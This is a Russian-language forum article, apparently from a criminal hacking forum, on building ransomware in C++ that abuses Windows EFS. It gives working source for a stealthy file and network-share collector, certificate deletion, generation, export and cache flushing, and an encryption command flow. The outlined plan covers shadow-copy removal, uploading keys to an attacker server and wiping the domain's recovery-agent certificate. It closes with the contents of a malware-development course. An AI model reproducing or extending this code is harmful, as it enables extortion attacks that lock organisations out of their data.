EntrySet m_processingFolders = {};
EntrySet m_files;
StringSet m_fileTypes = {};
int m_maxRelevance = 365;
std::map<std::string, std::pair<size_t, size_t>> m_statisticMap;
public:
explicit FileCollector(SearchConfigPtr config
, EntryProcessingQueue &processingQueue);
void collect_data() override;
void print_statistic() override;
PTree get_data_collection_results() override;
private:
DataContainer get_data_from_root_dir(const DirEntry &rootFolder);
static FsPathStack init_dir_stack(const fs::path &root);
void setup_thread_pool();
void find_shared_folders(const ConfigPtr &config);
void collect_search_folders();
EntrySet get_coarse_filtered_files(FsPathStack &dirStack);
void collect_entry_statistic(const DirEntry &entry);
void collect_data_in_folder(const DirEntry &folder);
void init_common_search_params();
void add_dirs_to_processing(const EntrySet &inputDirs);
};
}
#endif //FILE_COLLECTOR_HPP
Реализация:
C++:Copy to clipboard
namespace core::search::filesystem
{
using namespace net_client_utils;
using namespace logging;
using namespace network;
static constexpr auto OPTIONS = std::filesystem::directory_options::skip_permission_denied;
FileCollector::FileCollector(SearchConfigPtr config, EntryProcessingQueue &processingQueue) : DataCollector(std::move(config), processingQueue)
{
init_common_search_params();
}
void FileCollector::collect_data()
{
collect_search_folders();
if (m_processingFolders.empty())
{
const auto errorMessage = "Search folders not found or not specified.\n"
"Nowhere to look data.\n"
"Please check your configuration and try again";
Logger::fatal_error(errorMessage);
throw SearchOperationError(errorMessage);
}
setup_thread_pool();
for (const auto &folder: m_processingFolders)
{
m_pool.push_task([this, folder]() {
collect_data_in_folder(folder);
});
}
m_pool.wait_for_tasks();
data_collect_finished();
}
void FileCollector::collect_search_folders()
{
if (m_clientType != CLIENT_TYPE::LIGHT_NETWORK_CLIENT)
{
throw InvalidConfiguration("Unsupported client type");
}
auto config = dynamic_cast<NetworkClientFileSearchConfig * >(m_searchConfig.get());
const auto inputDirs = config->get_input_dirs();
add_dirs_to_processing(inputDirs);
if (!config->is_search_in_shares_enabled())
return;
const auto shareEnumConfig = config->get_share_enum_config();
find_shared_folders(shareEnumConfig);
}
void FileCollector::init_common_search_params()
{
const auto searchMap = m_searchConfig->get_search_map();
for (const auto &[directionType, direction]: searchMap)
{
const auto &fileTypes = direction.get_file_types();
m_fileTypes.insert(fileTypes.begin(), fileTypes.end());
}
// m_maxRelevance = AlgorithmHelper::get_max_relevance(searchMap);
}
DataContainer FileCollector::get_data_from_root_dir(const DirEntry &rootFolder)
{
std::deque<fs::directory_entry> rootDirs;
std::deque<fs::directory_entry> files;
try
{
for (auto it = fs::begin(fs::directory_iterator(rootFolder, OPTIONS)); it != fs::end(fs::directory_iterator(rootFolder, OPTIONS)); ++it)
{
try
{
make_stealth();
const auto &entry = *it;
const auto path = entry.path().wstring();
if (entry.is_directory())
{
rootDirs.emplace_back(entry);
} else if (entry.is_regular_file())
{
files.emplace_back(entry);
}
}
catch (std::exception &e)
{
Logger::fatal_error(e.what());
}
}
}
catch (std::exception &e)
{
Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
}
return std::make_pair(rootDirs, files);
}
EntrySet FileCollector::get_coarse_filtered_files(FsPathStack &dirStack)
{
EntrySet filteredFiles;
ScoredEntitiesQueue res;
while (!dirStack.empty())
{
make_stealth();
const auto currentDir = dirStack.top();
dirStack.pop();
auto [subdirs, files] = get_data_from_root_dir(DirEntry(currentDir));
for (const auto &subdir: subdirs)
{
dirStack.push(subdir);
}
std::copy_if(std::make_move_iterator(files.begin()), std::make_move_iterator(files.end())
, std::inserter(filteredFiles, filteredFiles.end()), [this, &res](const fs::path &path) -> bool {
try
{
auto entry = DirEntry(path);
if (FileSystemHelper::is_stop_words_found(entry)) return false;
if (!fs::exists(entry)) return false;
if (!fs::is_regular_file(entry)) return false;
collect_entry_statistic(entry);
res.push_back(ScoredEntityFactory::create_filesystem_scored_entity(entry));
return true;
}
catch (std::exception &e)
{
Logger::error(std::format("cannot add file. reason: {}", e.what()));
return false;
}
catch (...)
{
return false;
}
}
);
}
std::lock_guard<std::mutex> lockGuard(m_processingMutex);
{
m_processingQueue.push_back(res);
processing_queue_updated();
}
return filteredFiles;
}
FsPathStack FileCollector::init_dir_stack(const fs::path &root)
{
FsPathStack dirs;
dirs.push(root);
return dirs;
}
void FileCollector::collect_entry_statistic(const DirEntry &entry)
{
try
{
const std::string ext{entry.extension().string()};
if (ext.empty())
return;
const size_t size{file_size(entry)};
auto &[size_accum, count] = m_statisticMap[ext];
size_accum += size;
count += 1;
}
catch (std::exception &e)
{
Logger::error(std::format(" {} Error: {}", __FUNCTION__ , e.what()));
}
}
void FileCollector::find_shared_folders(const ConfigPtr &config)
{
auto shareEnumerator = std::make_shared<ShareEnumerator>(config);
shareEnumerator->enumerate_shared_folders();
auto shares = shareEnumerator->get_shared_folders();
if (!shares)
{
Logger::warning("shared folders not found");
return;
}
add_dirs_to_processing(*shares);
}
void FileCollector::add_dirs_to_processing(const EntrySet &inputDirs)
{
try
{
std::copy_if(inputDirs.begin(), inputDirs.end(), std::inserter(m_processingFolders, m_processingFolders.end()), [](
const DirEntry &entry) -> bool {
try
{
if (FileSystemHelper::is_stop_words_found(entry)) return false;
if (!fs::exists(entry)) return false;
if (!fs::is_directory(entry)) return false;
return true;
}
catch (std::exception &error)
{
Logger::error(std::format("Cannot add dir to processing. Reason: {}", error.what()));
return false;
}
catch (...)
{
return false;
}
});
}
catch (std::exception &e)
{
Logger::error(std::format("Error in the {}. Reason: {}", __FUNCTION__, e.what()));
}
}
void FileCollector::setup_thread_pool()
{
m_pool.reset(std::thread::hardware_concurrency());
}
void FileCollector::collect_data_in_folder(const DirEntry &folder)
{
try
{
auto dirStack = init_dir_stack(folder);
auto filteredFiles = get_coarse_filtered_files(dirStack);
}
catch (std::exception &e)
{
Logger::fatal_error(std::format("Error: {}. Reason: {}.", __FUNCTION__, e.what()));
}
}
void FileCollector::print_statistic()
{
const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
Logger::information(statisticView);
}
PTree FileCollector::get_data_collection_results()
{
PTree res;
const auto statisticView = Statistic::get_statistic_view(m_statisticMap);
res.add("file_collector_results", statisticView);
return res;
}
}
На этом закончим со вспомогательными методами и перейдем непосредственно к реализации шифровальщика.
3 Шифровальщик
3.1 Архитектура
Как мы выяснили ранее, для подготовки шифрования средствами EFS нам необходимо
провести несколько шаманских обрядов. В
частности настроить центр сертификации на контроллере домена. Удалить, если
они есть, сертификаты пользователей, которым назначены
функции Data Recovery Agent’ов. Создать свой сертификат DRA. Будем считать,
что это уже сделано и мы работаем на подготовленной
машине.
У нас получается примерно следующий алгоритм действий (таки да, я почти
полностью продублировал его из введения, но тут мы на
него посмотрим со стороны архитектуры и реализации):
1. обновить групповые политики на хосте, чтобы система узнала о новом DRA;
2. проверить наличие сертификатов EFS в локальном хранилище пользователя.
Если они есть – удалить;
3. сгенерировать собственный сертификат, но уже привязанный к нашему DRA;
4. экспортировать сертификат в файл .pfx под паролем (пароль мы захардкодим,
у нас же PoC. а не рабочий продукт);
5. не забыть удалить приватный ключ, которым мы шифруем FEK’и вместе с
сертификатом;
6. полученный файлик залить куда нибудь на сервер, чтобы когда от нас
потребуется расшифровать одну машину – именно это мы и
сделаем; Это возможно сделать даже без DRA, если я правильно понял. Надо
проверить потом.
7. сделать свое грязное дело – то бишь зашифровать файлы;
8. удалить сертификат из хранилища;
9. почистить кэш хранилища сертификатов, чтобы, что называется, наверняка.
10. после завершения шифрования всех хостов – удалить сертификат DRA с
контроллера домена, предварительно экспортируя его в
надежное место – на тот же сервер, куда и остальные ключи, например. Последний
пункт вызывает много вопросов, на которые я
не готов ответить, т.к. продукт был набросан на коленке за пару вечеров и мне
жаль тратить время на проверку всех гипотез.
Опять применим «метод пристального всматривания» и обнаружим, что по сути дела
весь алгоритм это некая линейная после-
довательность действий. Причем каждое действие мы можем выполнить фактически
независимо от других. Сюда прямо таки просится
реализация шаблона проектирования «Command». То есть каждое действие – это
команда, которую мы отдаем и ожидаем завершения ее
выполнения.
А для непосредственного шифрования файлов мы применим паттерн «Стратегия»,
который позволяет менять алгоритмы обработки
данных на лету. «Фокус-покус-тру-ля-ля» – и мы вместо EFS шифрования можем
использовать любое другое. Например, если обнаружим,
что файловая система не поддерживает EFS. Теперь дело осталось за малым –
реализация. Все этапы подготовки можно реализовать с
помощью cipher.exe – это вариант для ленивых. Он работает. Кому интересно –
читайте документацию. А мы пойдем другим путем и будем
работать на уровне WinAPI.
Поехали.
3.2 Реализация
Для начала нам понадобится спроектировать наши классы. Во всех книжках
говорится, что команда должна реализовать единствен-
ный метод интерфейса ICommand – execute. Ну и у каждой команды есть свой набор
параметров, количество и типы которых заранее
неизвестны. Поэтому мы их тоже вынесем в отдельное семейство классов.
3.2.1 ICommand interface
Итого, у нас получилась следующая картина. Интерфейс ICommand – простой до
неприличия.
Spoiler: ICommand
C++:Copy to clipboard
#ifndef ICOMMAND_HPP
#define ICOMMAND_HPP
#include <string>
#include <memory>
#include <utility>
#include "abstract_command_executor.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"
namespace core::commands
{
using namespace command_line;
class ICommand;
using CommandPtr = std::shared_ptr<ICommand>;
class ICommand
{
protected:
const COMMAND_TYPE m_commandType = COMMAND_TYPE::UNKNOWN_COMMAND;
const std::string m_commandName;
CommandExecutorPtr m_executor;
CommandParamsPtr m_commandParams;
std::string m_lastError;
bool m_isInteractive = false;
public:
ICommand(std::string commandName, CommandParamsPtr commandParams, const COMMAND_TYPE mCommandType)
: m_commandType(mCommandType)
, m_commandName(std::move(commandName))
, m_commandParams(std::move(commandParams))
{}
virtual bool execute()
{
return m_executor->execute();
}
virtual void printHelp() = 0;
virtual const std::string &lastError()
{
return m_executor->getLastError();
}
[[nodiscard]] bool isInteractive() const
{
return m_isInteractive;
}
void setInteractive(bool isInteractive)
{
m_isInteractive = isInteractive;
}
};
}
#endif
Параметры команд я тут приводить не буду, дабы не захламлять статью. Это
обычная обертка. Гораздо интереснее посмотреть на
реализацию самих команд. Тут вот какой момент. На текущем этапе я не знаю
каким способом я буду выполнять команду. В моем случае
это либо использование cipher.exe, либо напрямую через WinAPI. Поэтому.
Команду будет выполнять отдельный класс, который мы
поместим внутри нее. Обзовем его AbstractCommandExecutor. Вот он и будет
отвечать за конкретную реализацию. Не понравится –
напишем еще один. Сравним результаты, а потом уже во время выполнения сможем
вызывать нужного исполнителя.
Кто-то скажет: "а нахрена"? Ответ простой. Масштабируемость и гибкость. К тому
же, у меня нет здесь цели реализовать полноценный
локер. Для меня это академическая задача. И основная цель статьи – показать,
что паттерны – это хорошо, а грамотно спроектированная
архитектура – еще лучше.
Продолжим.
Spoiler: CommandExecutor
C++:Copy to clipboard
#ifndef ABSTRACT_COMMAND_EXECUTOR_HPP
#define ABSTRACT_COMMAND_EXECUTOR_HPP
#include <memory>
#include <string>
namespace sakura::core::commands
{
class AbstractCommandExecutor;
using CommandExecutorPtr = std::unique_ptr<AbstractCommandExecutor>;
class AbstractCommandExecutor
{
protected:
std::string m_lastError;
bool m_isInteractive = false;
public:
virtual ~AbstractCommandExecutor() = default;
virtual bool execute() = 0;
[[nodiscard]] const std::string &getLastError() const
{
return m_lastError;
}
[[nodiscard]] bool isInteractive() const
{
return m_isInteractive;
}
void setInteractive(bool isInteractive)
{
m_isInteractive = isInteractive;
}
};
}
#endif
Еще нам понадобится фабрика, создающая команды на основе переданных параметров. Выглядеть она будет примерно так:
Spoiler: CommandFactory
C++:Copy to clipboard
#ifndef COMMAND_FACTORY_HPP
#define COMMAND_FACTORY_HPP
namespace core::commands
{
using namespace command_line;
class CommandFactory
{
public:
static auto createExportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;
static auto createFlushCacheCommand(CommandParamsPtr params) -> CommandPtr;
static auto createRemoveShadowCopiesCommand(const CommandParamsPtr& params) -> CommandPtr;
static auto createGenerateEfsCertificateCommand(const CommandParamsPtr& params) -> CommandPtr;
static auto createImportEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;
static auto createRemoveEfsCertificateCommand(CommandParamsPtr params) -> CommandPtr;
static auto createCleanDiskCommand(CommandParamsPtr params) -> CommandPtr;
static auto createDecryptCommand(CommandParamsPtr params) -> CommandPtr;
static auto createEncryptCommand(CommandParamsPtr params) -> CommandPtr;
static auto createEncryptFolderCommand(CommandParamsPtr params) -> CommandPtr;
static auto createDecryptFolderCommand(const CommandParamsPtr& params) -> CommandPtr;
static auto createMountFolderCommand(const CommandParamsPtr& params) -> CommandPtr;
};
}
#endif
Реализация методов однотипная. Приведу парочку.
C++:Copy to clipboard
namespace core::commands
{
CommandPtr CommandFactory::createExportEfsCertificateCommand(CommandParamsPtr params)
{
return std::make_shared<ExportEfsCertificateCommand>(std::move(params));
}
CommandPtr CommandFactory::createFlushCacheCommand(CommandParamsPtr params)
{
return std::make_shared<FlushCacheCommand>(std::move(params));
}
}
Теперь приступим к реализации конкретных команд.
Поехали.
3.3 Модуль операций над сертификатами
Небольшое лирическое отступление. Я решил вынести все операции с сертификатами
в отдельный класс, дабы упростить реализацию
самих исполнителей и иметь возможность повторного использования кода. Как
известно, самое сложное в работе программиста – это
именование переменных. К тому моменту я уже довольно устал, поэтому назвал
его, класс в смысле, CertificateManager, не смотря на то,
что это самое идиотское название, которое можно было придумать. А переделывать
мне лень. Тем более, что вряд ли этот код пойдет
дальше этой статьи.
Ниже приведен его код полностью, т.к. в нем реализованы все основные операции
с сертификатами.
Заголовочный файл.
Spoiler: CertManager
C++:Copy to clipboard
#ifndef CERTIFICATE_MANAGER_HPP
#define CERTIFICATE_MANAGER_HPP
#include <windows.h>
#include <string>
#include <iostream>
#include <string>
#include <filesystem>
namespace fs = std::filesystem;
namespace tools::cipher
{
class CertificateManager
{
private:
static auto indicateKindOfProperty(DWORD propertyId) -> void;
static auto enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void;
static auto writePassword2File(const fs::path& passwordFilename, const std::string& password) -> bool;
public:
static auto enumCertificateInStore() -> std::size_t;
static auto deleteCertificatesFromStore() -> bool;
static auto generateEfsCertificate() -> bool;
static auto exportEfsCertificate(const std::filesystem::path &certFilename, const std::filesystem::path &passwordFilename,
const std::string& password) -> bool;
static auto importEfsCertificate(const fs::path &importPath) -> bool;
static auto flushCertCache() -> bool;
};
} // cipher
#endif //CERTIFICATE_MANAGER_HPP
и реализация
Spoiler: CertificateManager implementation
C++:Copy to clipboard
#include "certificate_manager.hpp"
#include "cipher_helper.hpp"
#include "tools/string_helper.hpp"
#include "tools/exceptions/exception.hpp"
#include "tools/exceptions/error_handler.hpp"
#include "tools/sysinfo/system_info.hpp"
#include <windows.h>
#include <wincrypt.h>
#include <string>
#include <fstream>
#include <algorithm>
#include "tools/exceptions/error_handler.hpp"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "cryptui.lib")
#define MY_ENCODING_TYPE (PKCS_7_ASN_ENCODING | X509_ASN_ENCODING)
namespace tools::cipher
{
using namespace std::string_view_literals;
using namespace std::string_literals;
using namespace exceptions;
using namespace sysinfo;
auto CertificateManager::indicateKindOfProperty(const DWORD propertyId) -> void
{
switch (propertyId)
{
case CERT_FRIENDLY_NAME_PROP_ID:
{
printf("Display name: ");
break;
}
case CERT_SIGNATURE_HASH_PROP_ID:
{
printf("Signature hash identifier ");
break;
}
case CERT_KEY_PROV_HANDLE_PROP_ID:
{
printf("KEY PROVE HANDLE");
break;
}
case CERT_KEY_PROV_INFO_PROP_ID:
{
printf("KEY PROV INFO PROP ID ");
break;
}
case CERT_SHA1_HASH_PROP_ID:
{
printf("SHA1 HASH identifier");
break;
}
case CERT_MD5_HASH_PROP_ID:
{
printf("md5 hash identifier ");
break;
}
case CERT_KEY_CONTEXT_PROP_ID:
{
printf("KEY CONTEXT PROP identifier");
break;
}
case CERT_KEY_SPEC_PROP_ID:
{
printf("KEY SPEC PROP identifier");
break;
}
case CERT_ENHKEY_USAGE_PROP_ID:
{
printf("ENHKEY USAGE PROP identifier");
break;
}
case CERT_NEXT_UPDATE_LOCATION_PROP_ID:
{
printf("NEXT UPDATE LOCATION PROP identifier");
break;
}
case CERT_PVK_FILE_PROP_ID:
{
printf("PVK FILE PROP identifier ");
break;
}
case CERT_DESCRIPTION_PROP_ID:
{
printf("DESCRIPTION PROP identifier ");
break;
}
case CERT_ACCESS_STATE_PROP_ID:
{
printf("ACCESS STATE PROP identifier ");
break;
}
case CERT_SMART_CARD_DATA_PROP_ID:
{
printf("SMART_CARD DATA PROP identifier ");
break;
}
case CERT_EFS_PROP_ID:
{
printf("EFS PROP identifier ");
break;
}
case CERT_FORTEZZA_DATA_PROP_ID:
{
printf("FORTEZZA DATA PROP identifier ");
break;
}
case CERT_ARCHIVED_PROP_ID:
{
printf("ARCHIVED PROP identifier ");
break;
}
case CERT_KEY_IDENTIFIER_PROP_ID:
{
printf("KEY IDENTIFIER PROP identifier ");
break;
}
case CERT_AUTO_ENROLL_PROP_ID:
{
printf("AUTO ENROLL identifier. ");
break;
}
default:
break;
}
}
auto CertificateManager::enumAndPrintCertProperties(PCCERT_CONTEXT pCertContext) -> void
{
DWORD cbData = 0;
DWORD dwPropId = 0;
while ((dwPropId = CertEnumCertificateContextProperties(pCertContext, dwPropId)))
{
indicateKindOfProperty(dwPropId);
if (!CertGetCertificateContextProperty(pCertContext, dwPropId, nullptr, &cbData))
{
throw CertStoreException("Call #1 to GetCertContextProperty failed.");
}
}
}
auto CertificateManager::enumCertificateInStore() -> std::size_t
{
std::size_t certCount = 0;
HCERTSTORE hCertStore;
PCCERT_CONTEXT pCertContext = nullptr;
if (const auto storeName = L"MY"; !((hCertStore = CertOpenSystemStore(NULL, storeName))))
{
throw CertStoreException("The store was not opened.");
}
while ((pCertContext = CertEnumCertificatesInStore(hCertStore, pCertContext)))
{
++certCount;
}
CertFreeCertificateContext(pCertContext);
CertCloseStore(hCertStore, 0);
return certCount;
}
auto CertificateManager::deleteCertificatesFromStore() -> bool
{
HANDLE hStoreHandle;
PCCERT_CONTEXT pCertContext = nullptr;
PCCERT_CONTEXT pDupCertContext;
if (!((hStoreHandle = CertOpenSystemStore(NULL, L"MY"))))
{
throw RemoveCertificatesException("The store was not opened.");
}
while ((pCertContext = CertEnumCertificatesInStore(hStoreHandle, pCertContext)))
{
if (!((pDupCertContext = CertDuplicateCertificateContext(pCertContext))))
{
throw RemoveCertificatesException("Duplication of the certificate pointer failed.");
}
if (!CertDeleteCertificateFromStore(pDupCertContext))
{
throw RemoveCertificatesException("The deletion of the certificate failed.\n");
}
}
CertCloseStore(hStoreHandle, 0);
return true;
}
auto CertificateManager::generateEfsCertificate() -> bool
{
system("cipher.exe /k");
Sleep(3000);
return enumCertificateInStore() == 1;
}
auto CertificateManager::exportEfsCertificate(const fs::path &certFilename
, const fs::path &passwordFilename
, const std::string &password) -> bool
{
if (const auto hStore = CertOpenSystemStore(NULL, L"MY"); hStore != nullptr)
{
int certsCount = 0;
PCCERT_CONTEXT certContext = nullptr;
while ((certContext = CertEnumCertificatesInStore(hStore, certContext)) != nullptr)
certsCount++;
if (certsCount == 0)
throw ExportEfsCertificatesException("a cert store empty");
CRYPT_DATA_BLOB pfxBlob;
pfxBlob.pbData = nullptr;
pfxBlob.cbData = 0;
const auto wPassword = StringHelper::stringToWideString(password);
if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());
if ((pfxBlob.pbData = static_cast<unsigned char *>(LocalAlloc(LPTR, pfxBlob.cbData))) == nullptr)
throw std::bad_alloc();
if (PFXExportCertStoreEx(hStore, &pfxBlob, wPassword.c_str(), nullptr, EXPORT_PRIVATE_KEYS) == FALSE)
throw ExportEfsCertificatesException(ErrorHandler::getLastErrorMessage());
const auto certFilenameW = certFilename.wstring();
const auto out = CreateFile(certFilenameW.c_str(), GENERIC_READ | GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0);
if (!out)
throw IOException("can't write certificate to file");
DWORD rl;
WriteFile(out, pfxBlob.pbData, pfxBlob.cbData, &rl, nullptr);
CloseHandle(out);
LocalFree(pfxBlob.pbData);
CertCloseStore(hStore, 0);
}
if (!writePassword2File(passwordFilename.string(), password))
{
throw FileNotFoundException("Can't write password to file");
}
return true;
}
auto CertificateManager::writePassword2File(const fs::path &passwordFilename, const std::string &password) -> bool
{
std::ofstream passwordFile(passwordFilename);
auto copy = password;
std::reverse(copy.begin(), copy.end());
passwordFile << copy;
passwordFile.close();
return fs::exists(passwordFilename);
}
auto CertificateManager::importEfsCertificate(const fs::path &importPath) -> bool
{
if (!CipherHelper::isValidCertificatePath(importPath))
throw DirectoryNotFoundException(importPath.string());
const auto password = CipherHelper::getPasswordFromFile(importPath);
const auto filename = CipherHelper::generateCertificateFilename(importPath);
const auto wFilename = filename.wstring();
FILE* pFile = nullptr;
BYTE sFileBuf[64 * 1024] = {0};
// open cert file for local cert
if (_wfopen_s(&pFile, wFilename.c_str(), L"rb"))
{
throw IOException("can't read a certificate " + importPath.string());
}
// read local cert into *ppLocalCert, allocating memory
fread(sFileBuf, sizeof(sFileBuf), 1, pFile);
fclose(pFile);
CRYPT_DATA_BLOB blob;
blob.cbData = sizeof(sFileBuf);
blob.pbData = sFileBuf;
const HCERTSTORE hCertStore = PFXImportCertStore(&blob, password.c_str(), CRYPT_EXPORTABLE);
if (hCertStore == nullptr)
throw ImportCertificateException(ErrorHandler::getLastErrorMessage());
const PCCERT_CONTEXT ctx = CertEnumCertificatesInStore(hCertStore, nullptr);
const HCERTSTORE rootStore = CertOpenSystemStore(NULL, L"MY");
CertAddCertificateContextToStore(rootStore, ctx, CERT_STORE_ADD_REPLACE_EXISTING, nullptr);
CertCloseStore(hCertStore, 0);
CertCloseStore(rootStore, 0);
return true;
}
auto CertificateManager::flushCertCache() -> bool
{
system("cipher.exe /FLUSHCACHE");
return true;
}
} // cipher
Как видно из кода, где то я использовал вызовы WinAPI/CryptoAPI, а где-то мне было лень разбираться и я самым наглым образом эксплуатировал cipher.exe
3.4 Команды выполнения операций над сертификатами
Поскольку все операции над сертификатами мы вынесли в отдельный класс, то
реализация команд будет в несколько строчек.
3.4.1 ExportEfsCertificateCommand
Spoiler: ExportEfsCertCommand
C++:Copy to clipboard
#ifndef EXPORT_EFS_CERTIFICATE_COMMAND_HPP
#define EXPORT_EFS_CERTIFICATE_COMMAND_HPP
#include "core/commands/abstract_command.hpp"
#include "core/commands/command_line/command_params/abstract_command_params.hpp"
#include "core/commands/abstract_command_executor.hpp"
namespace core::commands
{
using namespace command_line;
class ExportEfsCertificateCommand final
: public ICommand
{
class Executor final
: public AbstractCommandExecutor
{
const fs::path m_exportPath;
fs::path m_passwordFilename;
fs::path m_certFilename;
public:
explicit Executor(fs::path exportPath);
auto execute() -> bool override;
};
fs::path m_exportPath;
public:
explicit ExportEfsCertificateCommand(CommandParamsPtr params);
auto execute() -> bool override;
auto printHelp() -> void override;
};
}
#endif
реализация:
Spoiler: ExportEfsCertCommand impl
C++:Copy to clipboard
#include "export_efs_certificate_command.hpp"
#include <utility>
#include "core/commands/command_line/command_params/certificate_command_params/export_cert_command_params.hpp"
#include "tools/cipher_tools/cipher_helper.hpp"
#include "tools/file_system_helper.hpp"
#include "tools/cipher_tools/certificate_manager.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/exceptions/_exception.hpp"
namespace core::commands
{
using namespace cipher;
using namespace tools;
using namespace exceptions;
ExportEfsCertificateCommand::ExportEfsCertificateCommand(CommandParamsPtr params)
: ICommand("ExportEfsCertificateCommand", std::move(params), COMMAND_TYPE::EXPORT_EFS_CERTIFICATE)
{
}
auto ExportEfsCertificateCommand::execute() -> bool
{
if (const auto params = dynamic_cast<ExportCertCommandParams *>(m_commandParams.get()))
{
if (!params->isCommandParamsParsed()) throw InvalidCommandParamsException(m_commandName);
m_exportPath = params->getExportPath();
m_executor = std::make_unique<Executor>(m_exportPath);
return m_executor->execute();
}
Logger::fatalError("can't cast params to ExportCertCommandParams");
return false;
}
auto ExportEfsCertificateCommand::printHelp() -> void
{
throw NotImplementedException(__FUNCTION__);
}
ExportEfsCertificateCommand::Executor::Executor(fs::path exportPath) : m_exportPath(std::move(exportPath))
{
m_certFilename = CipherHelper::generateCertificateFilename(m_exportPath);
m_passwordFilename = CipherHelper::generatePasswordFilename(m_exportPath);
}
auto ExportEfsCertificateCommand::Executor::execute() -> bool
{
constexpr auto passwordLength = 128;
const auto password = CipherHelper::generateRandomPassword(passwordLength);
return CertificateManager::exportEfsCertificate(m_certFilename, m_passwordFilename, password);
}
}
Реализация остальных команд аналогична и сводится к вызову соответствующих методов менеджера сертификатов, поэтому я их тут приводить не буду.
3.5 Команды шифрования и расшифровки файлов
Команды операций над сертификатами получились скучными и однородными. Если
очень заморочиться, то там можно сделать код еще
красивее и юзабельнее, но нам пока это не нужно. Сосредоточимся лучше на
шифровании и расшифровке файлов.
Поехали.
3.5.1 EncryptCommand
Вот теперь и становится понятно к чему были все эти танцы с бубнами выше. Я о
куче однотипных классов для операций над сертификатами.
Смотрите как просто все получилось. Ниже будет только псевдокод.
C++:Copy to clipboard
bool EncryptCommand::execute()
{
removeCertsCommand = CommandFacory::createRemoveCertCommand()
if (!removeCertCommand->execute) return false;
generateCertsCommand = CommandFacory::createGenerateCertsCommand = ()
if (!generateCertsCommand->execute) return false;
exportCertsCommand = CommandFacory::createExportCertsCommand = ()
if (!exportCertsCommand->execute) return false;
encryptAll();
if (!removeCertCommand->execute) return false;
flushCertsCacheCommand = CommandFacory::createFlushCertsCacheCommand = ()
if (!flushCertsCacheCommand->execute) return false;
}
Примерно такая же картина будет и для расшифровки, только сначала мы
импортируем сертификат, а потом расшифровываем.
3.6 Encryptor
Это последний на сегодня класс, который будет рассмотрен. В его реализации
тоже нет ничего особо примечательного. За исключением,
разве лишь, метода doWork. Да и он лишь обобщение всей работы.
C++:Copy to clipboard
void Encryptor::doWork(const fs::path &root)
{
try
{
Logger::debug(__FUNCTION__);
Timer timer;
timer.start();
const auto dataCollector = std::make_shared<DataCollector>();
dataCollector->enableEncryptMode();
dataCollector->findData4Processing(root);
timer.stop();
{
std::cout << "preparing time: " << timer.getTime() << std::endl;
}
const auto &files = dataCollector->getFiles();
std::lock_guard lockGuard(m_mutex);
{
const auto &folders = dataCollector->getProcessingFolders();
m_encryptedFolders.insert(folders.begin(), folders.end());
}
const auto currentData4EncryptingSize = dataCollector->getCurrentData4ProcessingSize();
const auto worker = std::make_shared<Worker>(COMMAND_TYPE::ENCRYPT, m_isInteractive);
worker->setCurrentPath(root);
worker->setCurrentData4ProcessingSize(currentData4EncryptingSize);
worker->setFiles(files);
timer.start();
worker->doWork();
timer.stop();
std::cout << "encrypting time: " << timer.getTime() << std::endl;
}
catch (Exception &e)
{
Logger::debug(__FUNCTION__);
Logger::error(e.what());
}
catch (std::exception &e)
{
Logger::debug(__FUNCTION__);
Logger::fatalError(e.what());
}
}
Отмечу только, что для шифрования и расшифровки мы воспользовались нативными методами EncryptFile и DecryptFile соответственно.
4 Выводы
Мы попытались реализовать свой "шкафчик". Причем не обычный, а с использованием внутренних инструментов операционной системы. В общем и целом задачу можно считать выполненной. К реальному использованию продукт не пригоден по многим причинам, одной из которых является сложность предварительной подготовки. Однако тесты в лаборатори показали достаточно неплохие, как по мне, результаты по скорости. Но мне не с чем сравнивать, поэтому это чисто субъективное мнение.
Архитектура спроектирована таким образом, что при минимальных изменениях мы можем заменить алгоритм шифрования с EFS на любой другой и нам не придется переписывать все заново.
Подытоживая материал еще раз хочу донести несколько простых вещей:
• Любую задачу, имеющую решение можно решить путем разбиения ее на мелкие
подзадачи (да, я Капитан сегодня);
• успех специалиста в любой области прямопропорционален квадрату его задницы;
• архитектуру, паттерны проектирования и прочие штуки придумали далеко не
дураки, поэтому их можно и нужно изучать, а также
применять на практике;
• чтобы написать свой шкафчик мне понадобилось чуть больше недели, при
условии, что я уделял ему не более 3 часов в сутки;
• я намеренно не выкладываю сюда код всего проекта во избежание, как
говорится.
Спасибо всем, кто дочитал до конца.
За сим позвольте откланяться.
Всем вечер добрый. Видимо я действительно немного закопался.
pdf
тут
Разработка малвари на С++.
Углубленный курс.
_SNOW эксклюзивно для XSS.IS
Посвящается _кормилице нашей – святой Винде, да будет благословенен
создатель ее, муд рейший из мудрых, пресвятой Билли, да будет лишь
прирастать она свежими уязвимостями с каждым новым релизом её, да останется
она во веки веков источником нашего процветания и про питания.
Содержание
1 Введение.
1.1 Мотивация. Или для чего всё это нужно.
1.2 Для кого этот курс .
1.3 Цели и задачи курса.
2 Список литературы и ресурсов, необходимых для успешного старта.
2.1 Литература по С++ .
2.1.1 Бессмертная классика.
2.1.2 Полезные ресурсы.
2.1.3 STL .
2.1.4 Boost .
2.1.5 Qt .
2.2 Чистый код. Искусство рефакторинга.
2.3 Литература по проектированию и архитектуре ПО.
2.4 Литература по управлению проектами.
2.5 Литература по внутреннему устройству операционных систем.
2.5.1 Windows .
2.5.2 Linux .
2.6 Литература по сетям.
2.6.1 Литература по корпоративным сетям и Active Directory .
2.7 Литература по информационной безопасности.
2.7.1 Вирусология. Написание вирусов и прочих зловредов .
2.7.2 Методы защиты информации.
2.8 Литература по системам контроля версий.
3 Подготовка к запуску проекта. Управление проектом. Инструменты для командной
разработки.
3.1 Таск-трекер. Выбор, настройка, политики использования.
3.2 Выбор и настройка системы контроля версий.
3.2.1 GIT .
3.2.2 Subversion (SVN) .
4 Подготовка рабочего окружения.
4.1 Выбор IDE .
4.1.1 MS Visual Studio .
4.1.2 CLion .
4.1.3 QtCreator .
5 Выбор и настройка инструментов тестирования.
5.1 Модульное тестирование.
5.1.1 Google tests.
6 Заключение
1 Введение
